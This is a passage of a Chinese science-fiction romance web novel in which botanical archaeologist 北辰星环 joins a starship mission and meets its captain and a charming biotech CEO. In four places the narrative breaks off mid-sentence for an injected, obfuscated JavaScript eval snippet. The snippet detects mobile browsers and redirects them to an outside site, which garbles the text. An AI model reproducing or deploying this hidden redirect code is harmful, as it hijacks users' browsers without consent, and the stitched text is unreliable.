透过这一扇舷窗和那一片舷窗,那碧色的目光总是能精准寻觅到她的方位。 穿过雨帘,穿过厢梯,穿过走道,穿过星舰,穿过太空。 剥夺一切光辉、一切注意力、一切鬼祟。 极其平淡地回望过去,北辰星环深深吸了一口气。 她好像已经习惯这人凌厉的目光了,她甚至觉得这其中含着水一般的弧光。 即便已经进行过五次身份确认,迈出登陆艇真正踏上“齐物”的地面后,北辰星环仍需接受盘问。 “嗯……确系北辰星环……” 面前的中尉的目光不断在手中的工作光屏与北辰星环身上扫视。北辰星环也在端详着她,金发蓝眼,这是典型的西区星域欧裔种长相。 “确认一下你的出生地是哪里?常居地是哪里?工作单位是什么?证明人是谁?” 中尉挑了挑眉,用极快的语速射出一个又一个问题。 她已经对北辰星环光脑中的个人身份证明进行了确认,之后的盘问似乎是额外的、或者说多余的环节。 北辰星环隐隐明白这一点,但本着对拓荒军的尊重,她仍温和又严肃认真地回复每一个问题。 “出生地是北极星吗?北极星不是挺好的,建设家园,人人有责。”中尉压低声音却又不算太低,兀自念叨了句。 这是点她为何不留在家乡、建设家乡。 北辰星环却轻轻叹了口气,目光垂落,看着自己的脚尖。 北极星是好啊,一年中多半时间白雪皑皑、银装素裹,美则美矣,若毫无防护待在户外,只消一个半小时浑身便会密布风雪刀剐入骨伤痕,即便能忍受这般如同凌迟的痛苦,硬撑到两个小时也会失温死亡。 可这已经算是最舒适的环境了,所以北极星还能算作北区星域的主星、最高等级的宜居星,其他硬生生当作人类定居星的最低等级宜居星乃至异星上的环境更要恶劣百千倍。 这才是真正的北区星域,北辰星环抬眸扫了眼矜贵模样的年轻中尉,没亲身感受过的人是无法想象的。 “贝曼,差不多就行了。” 一阵飙风直接掀翻了这片区域,来人踏着凛冽的步伐抽干了近身几米的空气。 高大健美的中尉单兵站在这娇小矜贵的金发中尉身侧,形成了鲜明的对比。 她是成熟的单兵,举动皆充满力量。有刀削般立体脸庞身姿的冷面单兵与北辰星环目光接触的刹那,却敛了几分寒光。 “布鲁纳中尉啊,行,我也查验结束了,”贝曼中尉慢吞吞收回手中光屏,朝北辰星环背后一抬颌,“左镜,随我去勘探部,行李让她自己拎。” 北辰星环回首一望,哦,她说的是路上一直照顾她的那位少尉啊。看来他们都是隶属勘探部的科学官。 左少尉有些愧意地将北辰星环的行李箱向前一推。 北辰星环对她带着善意地颔首示意,她刚要伸手提起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376722|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的行李,一只大手却先她一步。 “北辰主任,走吧,我给您带路。” 北辰星环抬头,对站在她身边仍带有些许压迫感的布鲁纳中尉点了点头。北辰星环以为她自己就够高了,可是布鲁纳不是纯高,她还强壮。 北辰星环落后布鲁纳半步,保持着若即若离的距离,一同走出这停满了舰艇的停机坪。 “北辰主任,这是去往舰桥的方向。” “北辰主任,这是餐食舱。” “北辰主任,这是一号中转枢纽,可通过穿梭梯去往各处。” …… 布鲁纳带着北辰星环辨认了星舰中几个重要的舱室和路线,她的介绍机械刻板,惜字如金。 确实,要她多说几个字,难于上青天。 通道中步履匆匆的士兵们皆会停下脚步,与布鲁纳敬礼示意,毕恭毕敬,满眼赤诚。北辰星环看得出,他们都信服甚至尊敬布鲁纳。 那必是靠拼搏积攒的军功和过硬的专业能力了。 “北辰主任,这是休息生活区,这个是您的休息舱舱室。” 布鲁纳终于将北辰星环送到了最终目的地。 北辰星环四顾生活区,目前是整备出发阶段,生活区确实没什么闲人,她便开启舱门,给了布鲁纳一个眼神。 后者意会,将北辰星环的行李推过舱门,自己也顺势进入舱室。 “星环,没想到是你。”布鲁纳轻轻松松单手提起行李箱,放入边柜内,更不忘固定稳妥。 “凌鹤,你怎么在‘齐物’上?”你不该在“九歌”星舰上服役吗?这句话北辰星环可憋了一路了。 凌鹤·布鲁纳微微颔首,“瑾军长的指示。” 哦……这下北辰星环就明白了,她讳莫如深地点头表示我懂了。 “被姚舰长……派来迎接我的人实际上是那位贝曼中尉科学官吧?”北辰星环状似平淡地发问。 “是,伊莎贝拉·贝曼,就是西区那个贝曼家族的主支成员,能轮值上舰桥的科学官。倨傲,但人不坏,她并不完全清楚你是谁,才会冒犯。” 凌鹤回话中的信息比北辰星环想问的还丰富许多。她的意思是这位贝曼是个技术过硬的科学官,她慕强,她对北辰星环态度不怎样是因为她不知道北辰星环的学术地位和学术能力。 八年前贝曼家族那桩非法拘禁性虐丑闻被揭露后,姓贝曼的都不怎么好过。北辰星环也能理解,含着金汤匙长大的“贵族”淑女一朝跌下云端的落差会带来怎样的创伤。 倨傲只是一种自我保护的包装。 “这到底是怎么个行动,瑾军长都那么重视?” “我不清楚,”凌鹤摇摇头,“姚舰长说等人齐了,再开通风会一起介绍。” 人齐?北辰星环愣了愣,“还有——别的专家?” 凌鹤的脸上难得显露出一点犹豫,“是,也是科学技术支援的专家。” 好。北辰星环点点头,缓缓坐在了床沿。 “那我先走了,你知道的——” 北辰星环抬头望了眼凌鹤,“我知道的,我们不熟,此前我们并未见过。” 她并不特殊。 也是,邵欢说的对。她不过就是个普通寻常的外援专家,并不需要舰长来亲自迎接的。 北辰星环望着舷窗外开始变换的深空,晃了晃脑袋,抛去了某些多余的猜想。 5. 星舰田园 尽管并不算特别,但至少到目前为止,北辰星环是这“齐物”中唯一的一位平民。 大概她的相关消息已经通传下去了,北辰星环去餐食舱路上遇到的官兵们也会对她颔首示意了。 对科学技术、对科研工作者们的尊重是根深蒂固的,每个联邦人都不例外。况且这是以科学技术为翼的开拓未知的拓荒军,他们拥有数量最多的科学官,他们更拥有一位兼任中央科学院研究员的副军长。 或许这些拓荒军官兵们并不了解“植物考古学”是什么,但她是中央科学院的一员、甚至是管理一个研究室的主任,就足够他们尊敬了。 星舰结构复杂,第一次登上这般级别军用星舰的人恐怕很难分清东南西北。北辰星环却步履如风,很轻松地就找到了餐食舱所在。 此时“齐物”已经开始全速曲速跳跃,第一次感受军用曲率引擎的狂暴无情的人恐怕很难吃得下东西。北辰星环却一碗白粥就着数种小菜吃得津津有味,毫无影响。 填饱肚子,随遇而安的北辰星环又回到了属于她的休息舱。 她自不能在这到处都是军事机密的星舰中乱晃,没有召令她也不可能进入舰桥重地乃至勘探部的工作舱实验舱。 北辰星环其实很挂念她与邵欢的课题实验,可光脑通讯信号目前是管控的,她接收不到信息也不能发出信息。她只能干着急,她只能尽量相信邵乐。 望了眼舷窗外的星芒被无限拉长而成彩虹桥的光怪陆离景象,北辰星环见怪不怪地悠悠掏出了一本精装纸质书,靠在舷窗边静静地读了起来。 穿越光年的星芒在一行行墨字间跳跃,恰是最好的浪漫点缀。 沉浸其中就难以自拔。 不知不觉就吃完了两顿标准餐食、看完了半本书,期间没有人来找过北辰星环,更没有人来关心过她。 北辰星环想着自己是不是应该贯彻第一次随军行动的新人模样,少吃几顿饭或者表现得痛苦些。 可她真的饿了,脑力劳动很耗费能量的啊。她只能尽量避开餐食舱人多的时间段,尽量缩减自己的存在感。 北辰星环瞥了眼舷窗外仍因曲率加速而光怪陆离的景致。星舰引擎似乎有过加速减速的调整,期间也有过漂行,北辰星环不怎么懂这些,但确实体验感不算太好就是了。 总闷在这狭小的舱室还是有些压抑,北辰星环起身抖了抖手脚,做了一个决定—— 晚餐打包,她要去一个好地方用餐。 北辰星环悄咪咪在餐食舱打包了一个卷饼,通过迷宫一般的各条通道,终于来到了这个令她眼前一亮的地方。 还好拓荒军的星舰舱室结构布置都大同小异。 这是一片一眼望不到边的开阔农场,连接成片的各种菜蔬粮食植株在人工风之下微微摇曳。 这律动恍若一首由风声奏响的远古埙曲,带着野性的冲动,和亘古的追索。 而额外挑高的穹顶则模拟着夕阳西下的轨迹,落日的余晖将满片穹顶连带着田野渲染出层层叠叠的油彩。 是莫奈的《黄昏时的圣乔治马焦雷》,是艾瓦佐夫斯基的《九级浪》,更是比尔施塔特的《落基山脉落日》。 星际时代的人类仍然最爱脚踏实地的星球和无垠无尽的宇宙。 不矛盾,很和谐。 就像能开往任何尽头的星舰上也可以有扎根于故乡土壤的翠绿欲滴作物。 北辰星环坐在田埂边静静用膳,田园牧歌的景象有些过于浪漫和不真切。 这片田园由全自动化农业器械养护,田野中也有农业小机器人忙碌穿梭。吃完了卷饼,北辰星环就关注起了辛勤劳作的小机器人们。 看着结着饱满颗粒的麦穗,北辰星环真的很想问一问,它们是怎么在太空环境且极难调控局部微环境的情况下,还能把这么大一片植物都养得那么好的。 说干就干。 北辰星环拦住了一个从她面前经过的小机器人。 “你好,我想问问你们日常养护这些植株有什么……嗯……特别的技巧吗?” 小机器人转动着圆滚滚的半球形头部,弧形面屏上月牙形的眼睛扑闪扑闪。 “您好,请问您指的是哪方面的技巧呢?这个田园中的植株都是由中央科学院的研究员们培育出来的优势优质品种,我们日常维护除了一般的浇水、施肥、去顶、抑虫、防病、除草、授粉、修枝等等,就没有什么其他的啦。” “所有环节都是有机操作哦,所有过程中都没有产生不可降解的废物,污水和废弃的有机物也都会循环利用哦。” “烹饪星舰餐食所需的近半食材都是直接由这里供应的哦。” 小机器人的答话真的十分详尽,听起来似乎养护上真没什么特别的? 那只能是环境的缘故了。 北辰星环便追问了一句:“那模拟环境的参数是怎么设置的,我能知道吗?” 小机器人的声音带着雀跃:“当然可以,您知道‘模拟环境参数’,一定是位很专业的专家。” 小机器人上前几步向北辰星环腕间光脑处伸长机械臂,然后继续说道:“此处环境按照作物成长周期设定了多组数据方案,不同性质作物局部也有所差异,这都是由中央科学院试验农业研究部研究员们提供并由拓荒军科学官们微调形成的。” 北辰星环接收到小机器人传来的数据,边仔细查阅边点着头。 “术业有专攻。经济作物方面,他们确实是专业的,我也学习学习。” 种地她真的不是专业的——好吧,不仅仅种地,侍弄花草,她也不太行…… “能帮到您就好!我叫园园,如果您还想了解什么,可以再来找我哦!”小机器人看北辰星环沉浸在自己的世界中,便留了个名字,乖巧地自行撤离。 北辰星环抬头看了眼智能程度还挺高的小机器人,稍稍想念了一下自己家的智能管家重华,又开始继续学习如同这般广阔环境且多物种的模拟环境参数设置方案。 风声、叶啸、花香、稻香,四季融合在此,生长收藏皆在此轮回。 这一切都太过浪漫。 联邦历310年4月5日,标准时晨七时。 按时起床的北辰星环干的第一件事就是语音控制舷窗幕帘开启,她往舷窗外一望,敏锐地发现星舰进入了星际漂行状态。 北辰星环没有接受过领航员专门培训,她并不掌握通过星际星系标志物判别识别所在坐标的能力,她无从查知“齐物”目前逗留之处是在哪个星域哪个星带的哪个星系。 但她大概能猜到,“齐物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376723|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的减速恐怕是为了接上那另一位科学技术支援的专家。 说实话,北辰星环确实是有那么一些好奇的。于是她在正常用完早餐后,就拿了一本纸质书晃到了她登舰的那处停机坪处,找了个不影响旁人工作的角落坐了下来。 她确认过,停机坪区域——至少这一个停机坪——她是能去的。 来往的官兵注意到了她也确实并未驱赶她,甚至有一位士兵派了个小机器人过来给她端茶送水。 北辰星环感觉到了一些尊重,腰板都挺得更直了些。 不专心看书这件事,恐怕北辰星环这辈子都很难做到。 “你……” 尽管只是一个微弱近乎于无的单字,但好歹指向性够强,终于唤回了北辰星环。 北辰星环以为自己有好好注意着周边的动静,抬头一看才发现竟然有一支声势浩大的小队进入了停机坪。 最末尾、离她最近的那道身影……怎么看起来有点眼熟呢? 看来人快到了。 北辰星环合上了书,向人群聚集的方向望去。 果然从一艘登陆艇的舷梯上走下了一个人,北辰星环扶了扶眼镜,似乎是一位穿着西装的男士。 不知道是不是凑巧,那一队人马在与北辰星环不近不远、距离恰好的地方停下。 北辰星环这便终于看清了这位专家的模样。 盛世风流不过如此了。他公事公办的妥帖微笑都带着世上三分旖旎,那如水双瞳一一扫过便如清风拂面。 可偏又有礼有节、挺拔孤高,普蓝色的领带紧紧束在颈下,三件套西装无比合身又一丝不苟,给人一种若即若离的感觉。 张扬多情与保守禁欲,这般矛盾,在他身上竟这般和谐。 北辰星环确实觉得有些惊艳,不过她还记得正事——确认过了,她并不认识这位专家。 北辰星环便竖起耳朵听着他们的对话。 “万籁生物科技的创始人、首席执行官兼首席科技官”,“东区星域”,“人工基因编辑技术”…… “姜启乾”。 哦……万籁生物……北辰星环似乎在哪次学术会议上听到过这个公司,好像是个新兴的生物技术公司,主要研究生物基因技术。 所以他们无甚交集,很正常。 毕竟她的学科太过冷门。 浩浩荡荡的队伍终于簇拥着这位姜专家向停机坪外走去,那位贝曼中尉也在其中,听起来似乎是要去参观勘探部的实验室。 那位姜专家似乎给了北辰星环一个过于绵长的带着善意的眼神,水波潋滟。 但北辰星环并不是非常在意,她更在意的是这位碧色眼眸的舰长如秋风扫落叶般无情地扫过了她,没有任何一点留恋——或者说,抱歉。 她确实没那么特殊。 但这位姜专家好像很是特殊。 这种事情很寻常,北辰星环跟着导师的时候遇见过、去各地参加学术会议的时候遇见过、在中央科学院工作的时候也遇见过。 这件事情也很正常,她确实不是那么专业的人士,在这次行动中,她能给予的技术支持可能并不如研究生物基因学领域的专家。 北辰星环给自己找了一圈理由。 可她,还是,有些,不快。 6. 绅士 终于有人记起了北辰星环,她终于坐在了临近舰桥的大阶梯会议室中。 回到休息舱不久,有过一面之缘的左镜少尉便敲响了北辰星环的门,请她一起参加行动前的简报会议。 此时此刻,北辰星环正坐在会议室第一排的最佳位置,她的左侧是姚舰长,她的右侧是那位姜专家。 这不是随便乱坐的——至少这前几排都是事先定好的,左镜可是一点都没犹豫地将她径直引到了这个位置。 只有这个座位排序,能让北辰星环感受到她好似很重要一般。 作为研究室的主任,她总该有些傲气的。 北辰星环不是很想寒暄,还好姚舰长也没给她留下寒暄的时机。北辰星环刚入座没多久,姚舰长就起身走到了会议室最前方的那块巨大光屏前。 看来这次简报是由他来进行陈述。 就算他是个指挥,但也真是亲力亲为呢。 “各位同袍,各位专家,”姚舰长的目光特意在北辰星环与姜启乾的身上停留了片刻,“我是姚定坤,现在由我来进行行动介绍。” 北辰星环侧耳倾听。 姚舰长的报告如他这个人一般精准扼要,她都不需要分辨什么是重要的信息、什么是无关紧要的套话。 这次行动可以总结为一句话——东区星域亢宿稀星带“碧垣”异星上忽然出现一种遇水则生的具有超强繁殖、扩散能力的植物,高度怀疑是一种未知的异植,行动小队便要降落异星,深入扩散的源头,摘取植物标本。 姚舰长在中央科学院刻意隐藏模糊的信息其实就与北辰星环和姜启乾有关。 姜启乾在此的原因是他们希望他能协助排除“人造物”的可能。前几年祸乱联邦的“那些人”确实有基因改造异兽异植的前科,这样具有侵略性的未知异植,确实有些像“那些人”的手笔。 而北辰星环在此的主要原因是,姚舰长有些怀疑这种未知植物与传说中的古地球植物“息壤”有关。 “息壤”确实是传说,只存在于星际大迁徙时代最早期的文献资料之中,据称为一种古地球灾变初期出现的植物,遇水则生、遇风则长,曾侵略覆盖了几乎整个大洲区域。可没有任何实体乃至数据留存,便被认为近乎是神话传说。姚舰长能翻出这种传说植物来,也是真够厉害的。 北辰星环确实是考古的,但她考不了没有一点点证据留存的古。单纯针对“息壤”来说,恐怕神话学家都比她有用。 其实她觉得是不是古地球传说植物都不重要,就当一种全新的异植来研究都毫无问题。 北辰星环甚至有些觉得这种蹩脚的理由像是姚舰长为她的存在而硬生生攀扯上去的。 “各位还有什么问题吗?”姚舰长讲完行动计划,照例一问。 北辰星环却举起了手。 清冽的目光终于再次落在了北辰星环的身上,她并不退缩,直截发问:“你们没有尝试先取一些标本进行初步检验吗?方才的报告中您并没有提到具体数据。” “尝试过,”姚舰长看着北辰星环顿了顿,“失败了。” 北辰星环回望着姚舰长,还想等着他说更具体的原因。 但他再也没有继续讲下去。 好吧好吧,大概这真的是一种过于危险、或者过于诡计多端的异植。 于是再也没有人提问了。北辰星环悄悄回头瞥过,这些舰员们个个意气风发、满脸认同、满是迫切,完全服从指令,只希望尽快降临异星,完成任务。 行动小队的具体划分方案将于会后发送到各人光脑终端上,但据姚舰长所说他们两位专家只需坐镇设立在异星上的大本营,无需执行具体的勘探任务。 行动出发时间则定在明日标准时晨九时。 开完会,姚舰长第一个走出会议室,各人也立刻散去。 姜启乾似乎想说什么,但北辰星环好不容易才在后排座位中寻到伊莎贝拉·贝曼的身影,她顾不上姜启乾,只逆着人流来到伊莎贝拉·贝曼身前提出了她酝酿了许久的疑问。 “贝曼中尉,你好。我想问一下,你们为什么要请我来协助这次行动呢?听完方才的简报,我认为我并不是非常适配。” 虽然她的话语本身显得有些势弱,但北辰星环的语气姿态是带着些怀疑甚至怒意的。 就好像她是在质疑他们事情干得不好,胡乱牵扯上旁人。 北辰星环听进去了凌鹤·布鲁纳的介绍,她知道面对这样有些倨傲的人,不能具有太强的攻击性,可姿态绝对不能放得太低。 贝曼中尉果然微微蹙眉斟酌了起来。 过了片刻,她才回复了北辰星环:“北辰主任,我知道您研究的专业方向为植物考古学,仅我个人意见,您确实不会是外援专家的首选。” “我曾与姚舰长推荐过其他人选,也本该由我来邀请专家的。但姚舰长凡事亲力亲为,他决意由他来亲自邀请。” “至于您,据舰长所说,是因其他专家皆无法同行,而定下的最终选择。” 果然如此,果然如此啊。 她与邵欢的笑语竟与这事实真相大差不差。 不过……也好…… 如此,北辰星环便不会有一种类似“德不配位”的纠结,她确实没把握、没有太大的自信能帮助拓荒军解决难题,但至少现在,她反而释然了,她不会有太大的压力和负担了。 此时此刻的北辰星环没想明白的是,其实一切压力只来自于她自身,凡事她都求尽善尽美,她只是过不了自己的那一道坎。 北辰星环又在自己的休息舱中看了一个下午的书,显得过于闲适。 会后发送的行动小组划分名录上确实没有她与姜启乾,看来这只是一个不需要她耗费过多心力的任务,那她也没有什么需要特别准备的了。 却没想到一声敲门声将她从书海中唤醒,北辰星环透过舱门旁的可视门禁操纵板一看,姜启乾正对着镜头绅士地颔首行礼。 北辰星环带着些疑惑开了舱门,“姜总?您有什么事吗?” “终于找到您了,北辰主任,我问了好多人才求来您的休息舱位置。”姜启乾的话语迫切激动,但语气又含着些尊重的距离。 这般便不至于显得冒犯。 接着姜启乾抬起手,优雅地拂过腕间那流线如波的简约又繁复美感的光脑镯子,用那双如水眸子紧紧注视着北辰星环。 “请问,我能有幸求得您的通讯号吗?久仰您的大名,有许多问题,我都想与您请教。” 这并不是过分的请求,北辰星环很轻易就同意了。 “太好了,那么请问我能邀请您共用晚餐吗?” 于是姜启乾便又进了一步,他眼睛眨也不眨地望着北辰星环,浓得化不开。 北辰星环从他眼中看见了自己,好像他的世界上只剩下了她。这样的注视,这样的请求,北辰星环怎么可能狠得下心拒绝。 不过就是探讨学术问题,就像学术茶会一样,吃饭是次要的,无妨无妨。 于是便是一同进餐,可事情的发展与北辰星环的预想有天壤之别。 他有餐食舱的秘密菜单,他为她添茶伺菜,他恰到好处地与她谈风花雪月,他让这一顿普通的行军餐如同高端餐厅的烛光晚宴。 不过分热情,但这些举动在他的身上出现却又那样特殊。她觉得自己好像很特殊一样。 见北辰星环搁下筷子,姜启乾停了话头,只静静地一直凝视着她。 这目光如若实质,北辰星环擦嘴的动作都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376724|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由变得小心翼翼了起来。 “您是第一次随军行动吗?”见北辰星环点头回应,姜启乾才继续说,“那我想邀请您去个地方,我猜想您应该会喜欢。” 北辰星环要将不熟悉星舰贯彻到底,便只能由着姜启乾将她引到了生活区。 然后一拐角进入了这片可观星空的幽静观景舱,那拥有近两百度视野的通天彻地的巨大舷窗将舰外的深空框成了一幅震撼无比的意境画。 姜启坤侧头欣赏了一番北辰星环做出的惊讶又欢喜的表情,这才带着她在半圆形阶梯中就坐。 “我猜,您是懂星空的浪漫的。” 北辰星环瞥了眼身侧人融着点点星光的眼眸,他确实是在认真又投入地欣赏这星空,因为他身上散发着一种太过沉静的温润气息,如水波荡漾。 她确实是喜欢的。 这确实是她在这星舰上最喜欢的去处,与星舰田园并列。 “北辰主任,您方才在读的是《快乐的科学》吗?” 或许他在停机坪瞥见她那本书的封面了,毕竟这是一本不太有人喜欢看的哲学类书籍,可他真的连她怀里的一本书都如此关注吗? 北辰星环点点头。 “‘上帝已死’,人类的最高道德标准从不是来自于所谓的至高神、超能力或者任何外物,那便不会因为神的崩塌而消解虚无。” 姜启乾极其准确地说出了这本书中较为经典的一句格言,而且他的理解竟然不流于表面,更没有望文生义的偏差。 北辰星环扭头望向他,带着些真切的惊讶。 “宇宙自有秩序,社会自有框架,而我们人类——自有人性。先天之性,加上后天磨砺,这样的人性即是道德圭臬。” 姜启乾说完这几句富有深意的思考,用那如水双眸静静地凝视着北辰星环,似乎在等她表示赞同、肯定,但又不过分迫切,只鼓励她说出自己的看法。 北辰星环其实并不喜欢参与这类辩论,可大概是因为这目光太过温柔,身侧这人太过温润,而这舷窗外的深空又太过静谧,她开口了。 “你没有陷入先天本恶还是本善的辩论,你也没有否认后天教化的重要性,很好。不过,将每一个人都认为是‘圣’吗?我觉得这忽视了个体的多样性,也否认了规矩法度乃至偶像的意义。” 北辰星环还没反应过来,就已经说了一大段的话。她觉得自己是不是太过强势,只输出自己的观点。 可姜启乾的目光仍是那般温和,甚至那些潋滟的水光愈发浓烈,将她包围裹挟,她觉得恐怕她都能溺毙其中。 他眨了眨眼,他说:“‘人皆可以为尧舜’,你以为的恶人,或许只是违背了他内心的选择。” “哦,这真是一个好议点,这牵扯到‘恶’的本源问题,”北辰星环微一颔首,话锋一转,“不过抱歉,明日还要行动,我认为我们不该谈得太晚。” 还好她仍够清醒,不过,真的,就差一点了…… 姜启乾立刻堆起满脸的愧疚,“原来都要十点了,真是抱歉,与您谈论太过愉快,我都没有及时发觉,我送您回去。很荣幸与您共度这个美好的夜晚。” 他说着就起身,与瑾辰行了一个绅士的横摆式礼。 姜启乾礼节周全、温柔真挚地发出请求,北辰星环好像也没法拒绝。只能由他将自己送到休息舱门前。 北辰星环甩了甩自己略有些混沌的脑袋,缓了缓起伏的心跳,坐在床沿静静思索了片刻。 她试图捋清某些奇异之处,可过分美妙契合的情节又开始在她脑中翻涌。 直到一道敲门声忽然响起。 姜启乾又来了? 北辰星环起身走到舱门旁一看,竟然、竟然是—— 姚定坤? 7. 道歉礼 “姚舰长,您……” 北辰星环只抬头一眼,那碧色眸子的凌厉无匹的光辉便击中了她。 生活区走道中因日夜节律调暗的灯光令他蒙上了一层阴影。 他背着光,裹着黑色军装的身躯愈加深沉内敛。 只那双眼睛,一如既往的清冽明亮。 不,好像还有些别的东西,微微闪烁。 “你……” 这一声唤与她记忆中的那一声终于重合。 精明能干的姚舰长难得吞吞吐吐,北辰星环回望着他,静候下文。 “未能亲迎,有所怠慢,请北辰主任谅解。” 十几个字的短句被他一字一顿说出了长篇大论的感觉。恐怕这位舰长不惯常道歉或者说经常道歉,说着“请谅解”,可并没有摆出相应的姿态。 若不是她多事跑去停机坪正好看见他亲自迎接姜启乾,且被他们发现,估计姚舰长并不会来她这里做所谓的道歉。 可白日里他也没一点惭愧啊? 北辰星环不明白他的转变从何而生,但她隐隐看出这位舰长有些别扭——是的,别扭。 “确是深感抱歉。” 见北辰星环久未回应,姚舰长再次表态,难得这次言语中记得带上了些压低的绵长,显得真切。 “无妨,舰长事务繁忙,我无足挂齿。” 北辰星环话语过度自谦,姚舰长都听出了她话中的情绪。 怎么可能“无妨”,堂堂中央科学院的主任,遭受明晃晃的不平等对待,这口气能忍?可她不会直说的,直说“在意”又会失了主任的大度。 若是那姜启乾恐怕早就用漂亮话妥帖非常地圆过去了,可姚舰长却定住了。 他没有开口,只一直注视着北辰星环,眼中意味过于复杂。 这才是真的抱歉了。 “您还有事吗?若就是为此,那我领受了,辛苦您特意跑一趟。” 北辰星环开始赶人,姚舰长下意识扶住了门框。 “加个通讯,”姚舰长眼神躲闪了一下,怕语气太过霸道又补了句,“方便执行任务。” 这和执行任务有哪门子关系呢?可北辰星环开始觉得有些有趣,很爽快地直接伸手往姚舰长的腕间一贴。 怕是她太过主动,姚舰长都没反应过来,略是一怔。 轻松完事,北辰星环又准备赶人,姚舰长却欲言又止地又垂了几次首。 看着眼前这人都快要踱起步子来了,北辰星环兴味更甚,好整以暇地望着他,竟也不催促了。 原来这位姚舰长还是和以前一样,没怎么变呢……她还以为他面目全非了呢…… 姚舰长终于做好了心理建设,他撤步弯腰,挺拔的身躯折出了一个有些过于恭敬的曲度。 这动作真有些突然,北辰星环匆忙退了一步。 然后他直起身来,将置于门旁的一双制式军靴向她递来。 “明日行动……你、或许用得上。” 这确实出乎北辰星环的意料,她接过这双崭新的军靴,不由抬头望向这人。 只见那双眼睛亮得惊人,又含着一层如烟如雾般的沁色。 如清潭上氤氲起了浓烈水汽,将整个世界化为朦胧。 送走姚舰长,北辰星环靠在床头,继续梳理脑中的一团乱麻。 她不是一个初出茅庐的小姑娘,作为中央科学院的中层干部,她整日与一群老神仙们打交道。即便不想承认,可是作为北辰家的一员,她也参加过不少的宴会,进行过不少的无趣社交。 一年之中近半时间,她在天南海北奔波,考古现场需要她,地方研究院也需要她。公事公办,接待她的合作单位人员都只有恰如其分的尊敬。 她分得清此中的距离与差异。 她只会在完全抛却工作属性的读书会、剧会酒会上与同好们探讨这些字句与感悟,她将工作与兴趣分得很彻底。 可姜启乾只字未提专业知识,他只与她谈风花雪月。这不是公,这是私。 他们只见过一面,他们还不是朋友。他在言语中的思想深度与动作态度的默契程度已超过了点头之交的限度,他好像很熟悉她,他很轻松地就让她放下了心防。 她清醒地意识到姜启乾似乎想闯入她的私人领地,即便他很温柔,即便他的举动并不令她厌恶,但这还是不寻常。 如果是邵欢在…… 或许会说她的纸片人活了吧……也会说北辰星环她想太多了…… 想到邵欢,北辰星环的心情终于好了一些,她垂首瞥了一眼放在床边的那双尺码正合适的高帮军靴,打算趁着通讯管控开启的短暂间隙,与邵欢问一下研究进展。 在这军用星舰上,私人光脑通讯并不是一直都被禁止的,至少今夜针对光脑通讯的管制放开了,也算是给大家一个与亲友再说几句话的机会。 现在是标准时十一时,邵欢肯定还没睡,要么在实验室熬夜,要么在玩游戏熬夜。 果然邵欢很快就接受了北辰星环的视频通讯请求。 北辰星环仔细看了看邵欢的背景环境,看起来是她自己的房间。 “环环!我盼星星盼月亮,终于盼到你的通讯了啊!”邵欢近乎声嘶力竭地喊了一声。 这真的不至于吧…… “哎?你的脸色怎么不太好看,怎么,那个姚定坤欺负你了吗?胆子有够大的啊!”邵欢敏锐地感觉到了北辰星环状态有些异样。 北辰星环脑中浮现欲言又止的别扭的姚舰长郑重其事递给她那双军靴的样子,眼神躲闪了一下,“倒不是他……” 邵欢义愤填膺地一皱眉,“那就是别人了喽?一群没眼力见的,看来还得我出马啊,你别慌,我和我大堂姐说一声,看他们怕不怕。” “别别别。”北辰星环连连摆手。 搞什么裙带关系、用职级压人可不好。更不要说,这种事情真没必要劳烦人家瑾军长啊。瑾军长太忙也太重要了,她该专注域外探索的事业,其他事情不值得她忧心。 “好吧,导儿,我相信你,专业技术说不好,但你用人格魅力也能折服他们。”邵欢笑得无比灿烂。 北辰星环真情实感地送了她一个白眼。 邵欢觉得气氛正好,便带着些小心地尝试着引开了话题: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376725|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对了,环环,你大堂哥北辰星辉的婚礼,你该不会拒绝参加了吧?” 北辰星环淡淡地说:“是啊,你猜对了。” 邵欢当然看得出北辰星环不想继续这个话题,但她仍硬着头皮接着说道:“环环,我知道你不想谈,但我还是想说,你能不能尝试着——和解呢?” 